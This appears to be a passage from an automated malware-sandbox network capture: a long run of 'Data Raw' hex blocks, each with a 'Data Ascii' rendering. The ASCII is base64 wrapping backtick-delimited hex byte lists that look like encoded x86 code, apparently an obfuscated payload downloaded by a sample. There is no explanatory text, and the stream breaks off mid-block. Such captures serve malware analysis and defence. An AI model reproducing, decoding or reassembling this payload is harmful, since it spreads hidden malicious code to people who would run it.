67 4d 6b 55 73 59 44 41 78 4c 47 41 77 4d 43 78 67 4f 45 49 73 59 45 51 34 4c 47 41 34 51 69 78 67 4e 44 4d 73 59 44 
49 34 4c 47 41 31 4d 43 78 67 52 54 67 73 59 44 4d 34 4c 47 41 7a 51 69 78 67 4d 44 45 73 59 44 41 77 4c 47 41 34 51 6
9 78 67 4e 54 4d 73 59 44 49 34 4c 47 41 34 52 43 78 67 4e 45 4d 73 59 44 41 77 4c 47 41 77 4d 69 78 67 4e 54 45 73 
59 44 55 79 4c 47 41 31 4e 69 78 67 52 54 67 73 59 44 4d 35 4c 47 41 7a 4f 43 78 67 4d 44 45 73 59 44 41 77 4c 47 41 
32 51 53 78 67 4d 44 41 73 59 44 5a 42 4c 47 41 77 4d 69 78 67 4f 45 51 
Data Ascii: YDAwLGAwMixgMDAsYDAwLGBFOCxgNkIsYDJFLGAwMSxgMDAsYDUwLGA2QSxgMDAsYEU4
LGA4MyxgMkUsYDAxLGAwMCxgOEIsYEQ4LGA4QixgNDMsYDI4LGA1MCxgRTgsYDM4LGAzQixgMDEsYDAw
LGA4QixgNTMsYDI4LGA4RCxgNEMsYDAwLGAwMixgNTEsYDUyLGA1NixgRTgsYDM5LGAzOCxgMDEsYDAw
LGA2QSxgMDAsYDZBLGAwMixgOEQ

2021-12-02 20:47:22 UTC 1084 IN Data Raw: 59 44 67 35 4c 47 41 34 52 43 78 67 4e 7a 67 73 59 45 5a 45 4c 47 42 47 52 69 78 67 52 6b 59 73 59 45 55 34 
4c 47 42 45 4f 53 78 67 4d 6b 4d 73 59 44 41 78 4c 47 41 77 4d 43 78 67 4e 6b 45 73 59 44 4e 47 4c 47 41 34 52 43 78 
67 4f 54 55 73 59 44 63 35 4c 47 42 47 52 69 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 
55 79 4c 47 42 44 4e 79 78 67 4e 44 55 73 59 45 59 34 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 4
3 78 67 51 7a 63 73 59 44 51 31 4c 47 42 47 51 79 78 67 4d 6b 51 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 
59 45 4d 32 4c 47 41 34 4e 53 78 67 4e 7a 67 73 59 45 5a 47 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 41 77 4c 47 42 
46 4f 43 78 67 51 6a 51 73 59 44 4a 44 4c 47 41 77 4d 53 78 67 4d 44 41 
Data Ascii: YDg5LGA4RCxgNzgsYEZELGBGRixgRkYsYEU4LGBEOSxgMkMsYDAxLGAwMCxgNkEsYDNG
LGA4RCxgOTUsYDc5LGBGRixgRkYsYEZGLGA2QSxgMDAsYDUyLGBDNyxgNDUsYEY4LGAwMCxgMDAsYDAw
LGAwMCxgQzcsYDQ1LGBGQyxgMkQsYDAwLGAwMCxgMDAsYEM2LGA4NSxgNzgsYEZGLGBGRixgRkYsYDAw
LGBFOCxgQjQsYDJDLGAwMSxgMDA

2021-12-02 20:47:22 UTC 1100 IN Data Raw: 59 44 41 78 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 6b 77 4c 47 41 34 51 69 78 67 51 7a 45 73 59 45 4d 78 
4c 47 42 46 4d 43 78 67 4d 54 67 73 59 45 4a 46 4c 47 41 77 4f 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 
67 4f 45 51 73 59 44 6c 43 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 44 55 73 59 45 4d 
77 4c 47 41 33 4f 53 78 67 4d 44 6b 73 59 44 41 7a 4c 47 42 44 4d 43 78 67 4d 7a 55 73 59 45 49 33 4c 47 41 78 52 43 
78 67 51 7a 45 73 59 44 41 30 4c 47 42 46 51 69 78 67 4d 44 49 73 59 44 41 7a 4c 47 42 44 4d 43 78 67 4e 45 55 73 59 
44 63 31 4c 47 42 46 52 53 78 67 4f 44 6b 73 59 44 41 79 4c 47 41 30 4d 53 78 67 4f 44 4d 73 59 45 4d 79 4c 47 41 77 4e 
43 78 67 4e 45 59 73 59 44 63 31 4c 47 42 45 4e 53 78 67 4e 55 59 
Data Ascii: YDAxLGAwMCxgMDAsYDkwLGA4QixgQzEsYEMxLGBFMCxgMTgsYEJFLGAwOCxgMDAsYDAw
LGAwMCxgOEQsYDlCLGAwMCxgMDAsYDAwLGAwMCxgODUsYEMwLGA3OSxgMDksYDAzLGBDMCxgMzUsYEI3
LGAxRCxgQzEsYDA0LGBFQixgMDIsYDAzLGBDMCxgNEUsYDc1LGBFRSxgODksYDAyLGA0MSxgODMsYEMy
LGAwNCxgNEYsYDc1LGBENSxgNUY
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2021-12-02 20:47:22 UTC 1116 IN Data Raw: 59 44 46 45 4c 47 41 77 52 69 78 67 51 6a 59 73 59 44 55 78 4c 47 41 77 4d 69 78 67 4d 45 59 73 59 45 49 32 
4c 47 41 30 4f 53 78 67 4d 44 4d 73 59 44 68 42 4c 47 41 34 4e 43 78 67 4d 54 55 73 59 44 41 77 4c 47 42 47 52 69 78 
67 52 6b 59 73 59 45 5a 47 4c 47 42 44 4d 43 78 67 52 54 41 73 59 44 41 32 4c 47 41 77 51 53 78 67 4f 44 51 73 59 44 
42 45 4c 47 41 77 4d 43 78 67 52 6b 59 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4e 44 59 73 59 44 67 34 4c 47 41 30 4e 6
9 78 67 52 6b 59 73 59 44 68 43 4c 47 41 30 4e 53 78 67 4d 45 4d 73 59 45 59 33 4c 47 42 45 52 69 78 67 4f 44 4d 73 59 
45 55 33 4c 47 41 77 4d 79 78 67 4d 6b 49 73 59 45 4d 33 4c 47 41 31 52 69 78 67 51 7a 59 73 59 44 41 32 4c 47 41 77 
4d 43 78 67 4e 55 55 73 59 44 68 43 4c 47 42 46 4e 53 78 67 4e 55 51 
Data Ascii: YDFELGAwRixgQjYsYDUxLGAwMixgMEYsYEI2LGA0OSxgMDMsYDhBLGA4NCxgMTUsYDAwLGBGRixgRk
YsYEZGLGBDMCxgRTAsYDA2LGAwQSxgODQsYDBELGAwMCxgRkYsYEZGLGBGRixgNDYsYDg4LGA0NixgRk
YsYDhCLGA0NSxgMEMsYEY3LGBERixgODMsYEU3LGAwMyxgMkIsYEM3LGA1RixgQzYsYDA2LGAwMCxgNU
UsYDhCLGBFNSxgNUQ

2021-12-02 20:47:22 UTC 1132 IN Data Raw: 59 45 46 42 4c 47 42 44 52 53 78 67 4d 54 45 73 59 45 45 30 4c 47 41 35 52 53 78 67 51 7a 63 73 59 44 51 31 
4c 47 42 42 52 53 78 67 4e 44 51 73 59 44 51 31 4c 47 41 31 4d 79 78 67 4e 54 51 73 59 44 59 32 4c 47 41 34 4f 53 78 
67 4e 55 51 73 59 45 49 79 4c 47 42 47 52 69 78 67 4e 54 55 73 59 45 45 77 4c 47 41 34 4e 53 78 67 51 7a 41 73 59 44 
42 47 4c 47 41 34 4e 53 78 67 51 30 45 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 68 43 4c 47 41 31 4e 5
3 78 67 52 6a 67 73 59 44 68 43 4c 47 41 7a 4d 69 78 67 4f 45 51 73 59 44 51 31 4c 47 42 47 51 79 78 67 4e 54 41 73 59 
45 49 35 4c 47 41 77 4f 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 6a 59 73 59 44 67 35 4c 47 41 30 
52 43 78 67 51 7a 51 73 59 44 68 43 4c 47 41 33 52 43 78 67 51 7a 51 
Data Ascii: YEFBLGBDRSxgMTEsYEE0LGA5RSxgQzcsYDQ1LGBBRSxgNDQsYDQ1LGA1MyxgNTQsYDY2
LGA4OSxgNUQsYEIyLGBGRixgNTUsYEEwLGA4NSxgQzAsYDBGLGA4NSxgQ0EsYDAwLGAwMCxgMDAsYDhC
LGA1NSxgRjgsYDhCLGAzMixgOEQsYDQ1LGBGQyxgNTAsYEI5LGAwOCxgMDAsYDAwLGAwMCxgNjYsYDg5
LGA0RCxgQzQsYDhCLGA3RCxgQzQ

2021-12-02 20:47:22 UTC 1143 IN Data Raw: 51 34 4c 47 42 46 51 69 78 67 4d 44 4d 73 59 44 68 43 4c 47 41 31 52 43 78 67 52 6a 67 73 59 44 67 7a 4c 47 
41 33 52 43 78 67 4d 44 67 73 59 44 41 77 4c 47 41 33 4e 43 78 67 4d 55 51 73 59 44 5a 42 4c 47 41 30 51 79 78 67 4e 
54 59 73 59 45 55 34 4c 47 42 43 4d 53 78 67 4f 45 59 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 45 49 73 59 44 55 31 4c 
47 41 77 4f 43 78 67 4e 54 41 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4e 6b 45 73 59 44 41 77 4c 47 41 31 4d 69 78 67 
4e 54 63 73 59 45 55 34 4c 47 41 32 4d 69 78 67 4f 54 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 44 4d 73 59 45 4d 30 
4c 47 41 78 51 79 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 47 51 79 78 67 52 54 67 73 59 44 5a 47 4c 47 41 7a 4d 79 78 6
7 4d 44 45 73 59 44 41 77 4c 47 41 34 4f 53 78 67 4e 7a 41 73 59 
Data Ascii: Q4LGBFQixgMDMsYDhCLGA1RCxgRjgsYDgzLGA3RCxgMDgsYDAwLGA3NCxgMUQsYDZBLG
A0QyxgNTYsYEU4LGBCMSxgOEYsYDAwLGAwMCxgOEIsYDU1LGAwOCxgNTAsYDZBLGAwMCxgNkEsYDAwLG
A1MixgNTcsYEU4LGA2MixgOTAsYDAwLGAwMCxgODMsYEM0LGAxQyxgODksYDQ1LGBGQyxgRTgsYDZGLG
AzMyxgMDEsYDAwLGA4OSxgNzAsY

2021-12-02 20:47:22 UTC 1159 IN Data Raw: 41 79 4c 47 41 32 4f 43 78 67 4f 45 49 73 59 44 51 33 4c 47 41 77 4f 43 78 67 4f 45 49 73 59 44 68 45 4c 47 
41 33 51 79 78 67 52 6b 51 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4f 44 6b 73 59 44 41 34 4c 47 41 34 51 69 78 67 4d 
54 63 73 59 44 68 43 4c 47 41 30 4e 53 78 67 4d 54 51 73 59 44 5a 42 4c 47 41 77 4d 69 78 67 4e 54 49 73 59 44 55 77 
4c 47 41 34 52 43 78 67 4e 45 51 73 59 44 41 34 4c 47 41 31 4d 53 78 67 4e 54 59 73 59 45 55 34 4c 47 42 45 4e 53 78 
67 52 6b 45 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4f 44 4d 73 59 45 4d 30 4c 47 41 79 4d 43 78 67 4f 44 6b 73 59 44 67 
31 4c 47 41 33 51 79 78 67 52 6b 51 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4d 30 49 73 59 45 4d 7a 4c 47 41 33 4e 43 
78 67 4e 44 4d 73 59 44 68 43 4c 47 41 30 4e 53 78 67 52 6b 4d 73 59 
Data Ascii: AyLGA2OCxgOEIsYDQ3LGAwOCxgOEIsYDhELGA3QyxgRkQsYEZGLGBGRixgODksYDA4LGA4QixgMTcs
YDhCLGA0NSxgMTQsYDZBLGAwMixgNTIsYDUwLGA4RCxgNEQsYDA4LGA1MSxgNTYsYEU4LGBENSxgRkEs
YEZGLGBGRixgODMsYEM0LGAyMCxgODksYDg1LGA3QyxgRkQsYEZGLGBGRixgM0IsYEMzLGA3NCxgNDMs
YDhCLGA0NSxgRkMsY

2021-12-02 20:47:22 UTC 1175 IN Data Raw: 42 44 4c 47 41 31 4d 69 78 67 4e 6b 45 73 59 44 41 77 4c 47 41 34 52 43 78 67 4e 44 55 73 59 44 41 34 4c 47 
41 31 4d 43 78 67 4e 54 59 73 59 45 55 34 4c 47 42 43 4e 79 78 67 52 6b 45 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4f 
44 4d 73 59 45 4d 30 4c 47 41 79 4d 43 78 67 4f 44 4d 73 59 45 4a 46 4c 47 41 31 4e 43 78 67 4d 45 49 73 59 44 41 77 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 63 30 4c 47 41 79 4e 53 78 67 4f 45 51 73 59 44 68 45 4c 47 41 77 4d 43 78 6
7 52 6b 4d 73 59 45 5a 47 4c 47 42 47 52 69 78 67 4e 54 45 73 59 45 55 34 4c 47 42 45 52 69 78 67 52 55 45 73 59 44 41 
77 4c 47 41 77 4d 43 78 67 4d 44 4d 73 59 45 4d 77 4c 47 41 31 4d 43 78 67 4f 45 49 73 59 44 67 32 4c 47 41 31 4e 43 
78 67 4d 45 49 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 45 51 73 59 
Data Ascii: BDLGA1MixgNkEsYDAwLGA4RCxgNDUsYDA4LGA1MCxgNTYsYEU4LGBCNyxgRkEsYEZGLG
BGRixgODMsYEM0LGAyMCxgODMsYEJFLGA1NCxgMEIsYDAwLGAwMCxgMDAsYDc0LGAyNSxgOEQsYDhELG
AwMCxgRkMsYEZGLGBGRixgNTEsYEU4LGBERixgRUEsYDAwLGAwMCxgMDMsYEMwLGA1MCxgOEIsYDg2LG
A1NCxgMEIsYDAwLGAwMCxgOEQsY

2021-12-02 20:47:22 UTC 1191 IN Data Raw: 41 77 4c 47 41 34 51 69 78 67 52 6a 67 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 55 4d 73 59 44 67 31 4c 47 
42 47 52 69 78 67 4d 45 59 73 59 44 67 30 4c 47 41 35 51 69 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 
44 45 73 59 45 5a 47 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 34 4c 47 41 77 4d 43 78 67 4e 7a 59 73 59 44 41 33 
4c 47 42 43 52 69 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4f 43 78 67 4d 44 41 73 59 45 56 43 4c 47 41 77 4e 53 78 6
7 4f 44 4d 73 59 45 5a 47 4c 47 41 30 4f 43 78 67 4e 7a 59 73 59 44 55 77 4c 47 41 31 4d 79 78 67 4f 45 49 73 59 44 6c 4
6 4c 47 42 45 4f 43 78 67 4d 44 63 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 44 55 73 59 45 52 43 4c 47 41 33 4e 43 78 
67 4e 44 51 73 59 44 5a 42 4c 47 41 77 4e 53 78 67 4f 45 51 73 59 
Data Ascii: AwLGA4QixgRjgsYDgzLGBDNCxgMUMsYDg1LGBGRixgMEYsYDg0LGA5QixgMDAsYDAwLGAwMCxgODEs
YEZGLGAwMCxgMDAsYDA4LGAwMCxgNzYsYDA3LGBCRixgMDAsYDAwLGAwOCxgMDAsYEVCLGAwNSxgODMs
YEZGLGA0OCxgNzYsYDUwLGA1MyxgOEIsYDlFLGBEOCxgMDcsYDAwLGAwMCxgODUsYERCLGA3NCxgNDQs
YDZBLGAwNSxgOEQsY

2021-12-02 20:47:22 UTC 1207 IN Data Raw: 41 77 4c 47 41 77 4d 43 78 67 4e 6b 45 73 59 44 41 77 4c 47 41 32 51 53 78 67 4d 54 55 73 59 44 68 45 4c 47 
41 34 52 53 78 67 52 6a 41 73 59 44 41 34 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 55 78 4c 47 41 31 4e 69 78 67 51 
7a 63 73 59 44 67 77 4c 47 41 7a 4d 43 78 67 4d 6a 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 45 73 59 44 41 77 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 45 55 34 4c 47 41 32 4f 43 78 67 4e 55 4d 73 59 44 41 77 4c 47 41 77 4d 43 78 6
7 4f 44 4d 73 59 45 4d 30 4c 47 41 78 4d 43 78 67 4f 44 55 73 59 45 4d 77 4c 47 41 33 4e 43 78 67 4d 45 45 73 59 44 55 
77 4c 47 41 31 4e 69 78 67 52 54 67 73 59 44 5a 42 4c 47 42 47 52 53 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 34 4d 79 
78 67 51 7a 51 73 59 44 41 34 4c 47 41 31 52 53 78 67 4e 55 51 73 59 
Data Ascii: AwLGAwMCxgNkEsYDAwLGA2QSxgMTUsYDhELGA4RSxgRjAsYDA4LGAwMCxgMDAsYDUxLGA1NixgQzcs
YDgwLGAzMCxgMjAsYDAwLGAwMCxgMDEsYDAwLGAwMCxgMDAsYEU4LGA2OCxgNUMsYDAwLGAwMCxgODMs
YEM0LGAxMCxgODUsYEMwLGA3NCxgMEEsYDUwLGA1NixgRTgsYDZBLGBGRSxgRkYsYEZGLGA4MyxgQzQs
YDA4LGA1RSxgNUQsY
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2021-12-02 20:47:22 UTC 1223 IN Data Raw: 5a 47 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 5a 42 4c 47 41 77 4d 43 78 67 4e 54 41 73 59 45 4d 32 4c 47 
41 34 4e 53 78 67 4d 6b 4d 73 59 45 5a 47 4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 41 77 4c 47 42 46 4f 43 78 67 4f 
44 4d 73 59 45 4d 30 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 68 45 4c 47 41 34 52 43 78 67 4d 6b 4d 73 59 45 5a 47 
4c 47 42 47 52 69 78 67 52 6b 59 73 59 44 5a 42 4c 47 41 77 4e 69 78 67 4e 54 45 73 59 45 55 34 4c 47 41 78 4e 53 78 
67 52 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 45 51 73 59 44 6b 31 4c 47 41 79 51 79 78 67 52 6b 59 73 59 45 
5a 47 4c 47 42 47 52 69 78 67 4e 54 49 73 59 44 68 45 4c 47 41 31 52 69 78 67 4d 55 4d 73 59 44 55 7a 4c 47 42 46 4f 
43 78 67 52 6a 55 73 59 45 49 79 4c 47 42 47 52 69 78 67 52 6b 59 73 59 
Data Ascii: ZGLGBGRixgRkYsYDZBLGAwMCxgNTAsYEM2LGA4NSxgMkMsYEZGLGBGRixgRkYsYDAwLG
BFOCxgODMsYEM0LGAwMCxgMDAsYDhELGA4RCxgMkMsYEZGLGBGRixgRkYsYDZBLGAwNixgNTEsYEU4LG
AxNSxgRDAsYDAwLGAwMCxgOEQsYDk1LGAyQyxgRkYsYEZGLGBGRixgNTIsYDhELGA1RixgMUMsYDUzLG
BFOCxgRjUsYEIyLGBGRixgRkYsY

2021-12-02 20:47:22 UTC 1239 IN Data Raw: 63 31 4c 47 41 32 4f 53 78 67 4e 6a 51 73 59 45 4d 32 4c 47 41 30 4e 53 78 67 52 6a 67 73 59 44 41 77 4c 47 
42 46 4f 43 78 67 52 6a 6b 73 59 45 4a 46 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 67 7a 4c 47 42 44 4e 43 78 67 4d 
44 67 73 59 44 5a 42 4c 47 41 77 4d 53 78 67 4e 6b 45 73 59 44 46 42 4c 47 41 31 4e 69 78 67 52 54 67 73 59 45 56 44 
4c 47 42 43 51 53 78 67 4d 44 41 73 59 44 41 77 4c 47 41 34 51 69 78 67 4e 55 51 73 59 44 41 34 4c 47 41 34 4d 79 78 
67 51 7a 51 73 59 44 41 30 4c 47 41 34 52 43 78 67 4f 45 4d 73 59 44 51 33 4c 47 41 32 4f 43 78 67 4d 44 67 73 59 44 41 
77 4c 47 41 77 4d 43 78 67 4e 54 45 73 59 44 55 7a 4c 47 42 46 4f 43 78 67 4e 44 67 73 59 45 46 42 4c 47 42 47 52 69 
78 67 52 6b 59 73 59 44 4d 7a 4c 47 42 44 4d 43 78 67 4f 44 4d 73 59 
Data Ascii: c1LGA2OSxgNjQsYEM2LGA0NSxgRjgsYDAwLGBFOCxgRjksYEJFLGAwMCxgMDAsYDgzLGBDNCxgMDgs
YDZBLGAwMSxgNkEsYDFBLGA1NixgRTgsYEVDLGBCQSxgMDAsYDAwLGA4QixgNUQsYDA4LGA4MyxgQzQs
YDA0LGA4RCxgOEMsYDQ3LGA2OCxgMDgsYDAwLGAwMCxgNTEsYDUzLGBFOCxgNDgsYEFBLGBGRixgRkYs
YDMzLGBDMCxgODMsY

2021-12-02 20:47:22 UTC 1255 IN Data Raw: 41 77 4c 47 41 32 4e 69 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 42 51 79 78 67 51 6a 67 73 59 44 63 79 4c 47 
41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 32 4e 69 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 42 52 53 78 67 51 
6a 67 73 59 44 59 78 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 32 4e 69 78 67 4f 44 6b 73 59 44 51 31 
4c 47 42 43 4d 43 78 67 4d 7a 4d 73 59 45 4d 77 4c 47 41 32 4e 69 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 43 4d 69 78 6
7 4f 44 6b 73 59 44 51 31 4c 47 42 43 4e 43 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 43 4f 43 78 67 4f 44 6b 73 59 44 51 3
1 4c 47 42 43 51 79 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 44 4d 43 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 44 4e 43 78 
67 51 6a 67 73 59 44 51 7a 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 
Data Ascii: AwLGA2NixgODksYDQ1LGBBQyxgQjgsYDcyLGAwMCxgMDAsYDAwLGA2NixgODksYDQ1LGBBRSxgQjgs
YDYxLGAwMCxgMDAsYDAwLGA2NixgODksYDQ1LGBCMCxgMzMsYEMwLGA2NixgODksYDQ1LGBCMixgODks
YDQ1LGBCNCxgODksYDQ1LGBCOCxgODksYDQ1LGBCQyxgODksYDQ1LGBDMCxgODksYDQ1LGBDNCxgQjgs
YDQzLGAwMCxgMDAsY

2021-12-02 20:47:22 UTC 1271 IN Data Raw: 55 77 4c 47 42 47 52 69 78 67 52 44 45 73 59 44 68 43 4c 47 41 31 4e 53 78 67 52 6b 4d 73 59 44 5a 42 4c 47 
41 77 4d 53 78 67 4f 44 6b 73 59 44 51 31 4c 47 42 47 4e 43 78 67 4f 45 49 73 59 44 67 32 4c 47 42 44 4d 43 78 67 4d 44 
45 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 54 49 73 59 45 5a 47 4c 47 42 45 4d 43 78 67 4f 45 49 73 59 44 52 45 4c 
47 42 47 51 79 78 67 4f 45 49 73 59 44 6b 32 4c 47 42 44 4e 43 78 67 4d 44 45 73 59 44 41 77 4c 47 41 77 4d 43 78 67 
4e 6b 45 73 59 44 41 79 4c 47 41 31 4d 53 78 67 4f 45 49 73 59 45 51 34 4c 47 42 47 52 69 78 67 52 44 49 73 59 44 68 4
3 4c 47 41 34 52 53 78 67 51 7a 67 73 59 44 41 78 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 67 35 4c 47 41 30 4e 53 78 
67 52 6a 67 73 59 44 68 43 4c 47 41 30 4e 53 78 67 52 6b 4d 73 59 
Data Ascii: UwLGBGRixgRDEsYDhCLGA1NSxgRkMsYDZBLGAwMSxgODksYDQ1LGBGNCxgOEIsYDg2LG
BDMCxgMDEsYDAwLGAwMCxgNTIsYEZGLGBEMCxgOEIsYDRELGBGQyxgOEIsYDk2LGBDNCxgMDEsYDAwLG
AwMCxgNkEsYDAyLGA1MSxgOEIsYEQ4LGBGRixgRDIsYDhCLGA4RSxgQzgsYDAxLGAwMCxgMDAsYDg5LG
A0NSxgRjgsYDhCLGA0NSxgRkMsY

2021-12-02 20:47:22 UTC 1287 IN Data Raw: 49 30 4c 47 42 44 51 79 78 67 52 44 49 73 59 44 45 78 4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 5a 42 4c 47 
41 77 4d 43 78 67 4e 54 4d 73 59 44 55 32 4c 47 41 34 4f 53 78 67 4e 44 63 73 59 44 46 44 4c 47 42 46 4f 43 78 67 4e 
7a 4d 73 59 44 49 30 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 59 34 4c 47 42 43 4f 43 78 67 4f 44 49 73 59 44 51 34 4c 
47 42 44 4f 43 78 67 4e 6b 45 73 59 44 41 77 4c 47 41 32 51 53 78 67 4d 44 41 73 59 44 55 7a 4c 47 41 31 4e 69 78 67 4f 
44 6b 73 59 44 51 33 4c 47 41 79 4d 43 78 67 52 54 67 73 59 44 59 77 4c 47 41 79 4e 43 78 67 4d 44 41 73 59 44 41 77 
4c 47 41 34 4d 79 78 67 51 7a 51 73 59 44 4e 44 4c 47 41 34 4d 79 78 67 4d 30 59 73 59 44 41 77 4c 47 41 34 4f 53 78 6
7 4e 44 63 73 59 44 49 30 4c 47 41 33 4e 43 78 67 4e 44 41 73 59 
Data Ascii: I0LGBDQyxgRDIsYDExLGA2QSxgMDAsYDZBLGAwMCxgNTMsYDU2LGA4OSxgNDcsYDFDLG
BFOCxgNzMsYDI0LGAwMCxgMDAsYDY4LGBCOCxgODIsYDQ4LGBDOCxgNkEsYDAwLGA2QSxgMDAsYDUzLG
A1NixgODksYDQ3LGAyMCxgRTgsYDYwLGAyNCxgMDAsYDAwLGA4MyxgQzQsYDNDLGA4MyxgM0YsYDAwLG
A4OSxgNDcsYDI0LGA3NCxgNDAsY

2021-12-02 20:47:22 UTC 1303 IN Data Raw: 55 78 4c 47 41 31 4d 69 78 67 4e 54 63 73 59 45 55 34 4c 47 42 44 52 43 78 67 52 6a 6b 73 59 45 5a 47 4c 47 
42 47 52 69 78 67 4f 44 4d 73 59 45 4d 30 4c 47 41 79 4d 43 78 67 4f 45 51 73 59 44 51 31 4c 47 42 47 4f 43 78 67 4e 54 
41 73 59 45 5a 47 4c 47 41 31 4e 53 78 67 52 55 4d 73 59 44 51 7a 4c 47 41 34 4d 79 78 67 51 7a 59 73 59 44 45 77 4c 
47 41 7a 51 69 78 67 4e 55 51 73 59 45 5a 44 4c 47 41 33 4d 69 78 67 4f 55 4d 73 59 44 68 43 4c 47 41 30 52 43 78 67 
52 54 67 73 59 44 55 78 4c 47 42 47 52 69 78 67 4e 54 55 73 59 45 59 30 4c 47 41 31 52 69 78 67 4e 55 55 73 59 45 49 3
4 4c 47 41 77 4d 53 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4e 55 49 73 59 44 68 43 4c 47 42 46 4e 53 78 
67 4e 55 51 73 59 45 4d 7a 4c 47 41 31 52 69 78 67 4e 55 55 73 59 
Data Ascii: UxLGA1MixgNTcsYEU4LGBDRCxgRjksYEZGLGBGRixgODMsYEM0LGAyMCxgOEQsYDQ1LGBGOCxgNTAs
YEZGLGA1NSxgRUMsYDQzLGA4MyxgQzYsYDEwLGAzQixgNUQsYEZDLGA3MixgOUMsYDhCLGA0RCxgRTgs
YDUxLGBGRixgNTUsYEY0LGA1RixgNUUsYEI4LGAwMSxgMDAsYDAwLGAwMCxgNUIsYDhCLGBFNSxgNUQs
YEMzLGA1RixgNUUsY

2021-12-02 20:47:22 UTC 1319 IN Data Raw: 49 30 4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4f 45 49 73 59 44 55 31 4c 47 
42 47 4e 43 78 67 4e 6a 59 73 59 44 68 43 4c 47 41 77 4e 43 78 67 4e 7a 49 73 59 44 59 32 4c 47 42 44 4d 53 78 67 52 
54 67 73 59 44 42 44 4c 47 41 77 52 69 78 67 51 6a 63 73 59 45 4d 34 4c 47 41 34 52 43 78 67 4e 54 55 73 59 44 42 44 
4c 47 41 31 4d 69 78 67 4f 45 51 73 59 44 51 31 4c 47 42 46 4e 43 78 67 4f 44 6b 73 59 44 52 45 4c 47 41 77 51 79 78 67 
4f 45 49 73 59 44 52 45 4c 47 41 77 4f 43 78 67 4e 54 41 73 59 44 55 78 4c 47 42 46 4f 43 78 67 4e 6b 55 73 59 44 68 46 
4c 47 41 77 4d 43 78 67 4d 44 41 73 59 44 51 32 4c 47 41 34 4d 79 78 67 51 7a 51 73 59 44 42 44 4c 47 41 7a 51 69 78 
67 52 6a 63 73 59 44 63 79 4c 47 42 45 4e 69 78 67 4f 45 49 73 59 
Data Ascii: I0LGAwMCxgMDAsYDAwLGAwMCxgOEIsYDU1LGBGNCxgNjYsYDhCLGAwNCxgNzIsYDY2LGBDMSxgRTgs
YDBDLGAwRixgQjcsYEM4LGA4RCxgNTUsYDBDLGA1MixgOEQsYDQ1LGBFNCxgODksYDRELGAwQyxgOEIs
YDRELGAwOCxgNTAsYDUxLGBFOCxgNkUsYDhFLGAwMCxgMDAsYDQ2LGA4MyxgQzQsYDBDLGAzQixgRjcs
YDcyLGBENixgOEIsY
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2021-12-02 20:47:22 UTC 1335 IN Data Raw: 67 34 4c 47 41 35 4e 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 77 4d 43 78 67 4d 44 55 73 59 45 49 34 4c 47 
41 77 4e 43 78 67 4d 44 41 73 59 44 41 77 4c 47 41 31 4d 43 78 67 4f 45 51 73 59 44 51 31 4c 47 41 77 4f 43 78 67 4e 
6b 45 73 59 44 41 30 4c 47 41 31 4d 43 78 67 4f 44 6b 73 59 44 55 31 4c 47 41 77 4f 43 78 67 52 54 67 73 59 44 42 44 4c 
47 41 31 52 53 78 67 52 6b 59 73 59 45 5a 47 4c 47 41 34 51 69 78 67 4e 44 55 73 59 44 41 34 4c 47 41 34 4d 79 78 67 
51 7a 51 73 59 44 42 44 4c 47 41 31 52 43 78 67 51 7a 4d 73 59 44 5a 43 4c 47 41 79 4f 53 78 67 4d 6b 4d 73 59 44 49 7
9 4c 47 41 31 4e 53 78 67 4f 45 49 73 59 45 56 44 4c 47 41 34 4d 53 78 67 52 55 4d 73 59 44 41 30 4c 47 41 77 4d 53 78 
67 4d 44 41 73 59 44 41 77 4c 47 41 31 4e 69 78 67 4e 54 63 73 59 
